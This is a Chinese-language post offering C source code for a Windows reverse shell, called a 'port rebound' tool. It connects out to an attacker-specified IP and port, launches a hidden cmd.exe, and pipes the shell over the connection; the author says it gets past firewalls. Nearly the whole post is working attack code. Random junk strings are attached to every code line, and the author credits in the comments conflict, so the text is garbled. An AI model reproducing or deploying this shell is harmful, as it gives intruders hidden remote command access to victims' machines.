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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 Il#9t?/  
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/* ============================== bhT:MW!  
Rebound port in Windows NT nIqmora  
By wind,2006/7 Jz)c|8U  
===============================*/ :sek MNM  
#include >c@1UEwkm  
#include y7#vH<  
y &%2  
#pragma comment(lib,"wsock32.lib") zC$(/nZ  
a~;`&Uj  
void OutputShell(); xwrleB  
SOCKET sClient; 2aGK}sS6  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; u}KEH@yv  
>l!DW i6  
void main(int argc,char **argv) nL* SNQ_  
{ ,m.IhnCV\  
WSADATA stWsaData; Edav }z  
int nRet; !CuLXuM  
SOCKADDR_IN stSaiClient,stSaiServer; " ZFK-jn/  
YS&Q4nv-  
if(argc != 3) ^1+&)6s7V  
{ \YsYOFc|  
printf("Useage:\n\rRebound DestIP DestPort\n"); 6V c&g  
return; TWJ%? /d  
} ?1MaA  
#3Jn_Y%P.  
WSAStartup(MAKEWORD(2,2),&stWsaData); 4O3-PU>N  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 54, (;  
n>I NJ  
stSaiClient.sin_family = AF_INET; [ f`V_1d3  
stSaiClient.sin_port = htons(0); "npLl]XM  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); VBI~U?0  
b$'}IWNV  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) a(`@u&]WZ  
{ J;7O`5J  
printf("Bind Socket Failed!\n"); mGqT_   
return; fRd^@@,[  
} v/WvT!6V`  
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stSaiServer.sin_family = AF_INET; ~!W{C_*N  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); _8"%nV  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); AIFI@#3  
6'qC *r   
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) B@2VI 1%  
{ >~k"C,6  
printf("Connect Error!"); Kdwt^8Umh  
return; X Sw0t8  
} 2N:|BO>  
OutputShell(); @s;qmBX4  
} Q'S"$^~{  
l>O~^41[  
void OutputShell() r+%}XS%;h  
{ X,8 ]g.<  
char szBuff[1024]; K0O&-v0"1  
SECURITY_ATTRIBUTES stSecurityAttributes; lZ9rB^!  
OSVERSIONINFO stOsversionInfo; &?#G)suP  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; vmZyvJSE  
STARTUPINFO stStartupInfo; 0? QTi(  
char *szShell; /^<Uy3F[p  
PROCESS_INFORMATION stProcessInformation; [q{[Avqf  
unsigned long lBytesRead; UMbM3m=\  
L) ]|\|  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); mxJ& IV  
f?A1=lm~  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); |[}!E/7>b  
stSecurityAttributes.lpSecurityDescriptor = 0; yk| < P\  
stSecurityAttributes.bInheritHandle = TRUE; ? @Y'_f  
<wZ2S3RNA  
N3J;_=<4  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); Akbt%&  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); Ma,2_oq+  
]V K%6PQ0  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); usR: -1{  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; e1 j3X\ \  
stStartupInfo.wShowWindow = SW_HIDE; u 6(O;  
stStartupInfo.hStdInput = hReadPipe; 3,<$z1Jm  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; tmJ-2  
M &g1'zv?/  
GetVersionEx(&stOsversionInfo); x4C}AyR  
IE|$mUabm  
switch(stOsversionInfo.dwPlatformId) plRBfw>]N  
{ Z4 +6'  
case 1: sV)) Z2sq  
szShell = "command.com"; U\ Et  
break; :q0TS>l  
default: jr<`@  
szShell = "cmd.exe"; <!s+X_^  
break; :d ts>  
} :mwJJIjUW  
y7quKv7L}  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); *|T]('xwC  
Xv%1W? >@/  
send(sClient,szMsg,77,0); M;\iL?,  
while(1) qQu}4Ye>  
{ W h^9 Aq  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); }9GD'N?4  
if(lBytesRead) |ZAR!u&0  
{ 5DEK`#*  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); S}Q/CT?au  
send(sClient,szBuff,lBytesRead,0); VM1`:1Z:$  
} j<-#a^jb  
else mu[:b  
{ msyC."j0jU  
lBytesRead=recv(sClient,szBuff,1024,0); +y$%S4>0tp  
if(lBytesRead<=0) break; ;p !|E3o.  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); 0'IV"eH2  
} SCCBTpmf2B  
}  a9ko3L  
gua +-##)  
return; b V5{  
}
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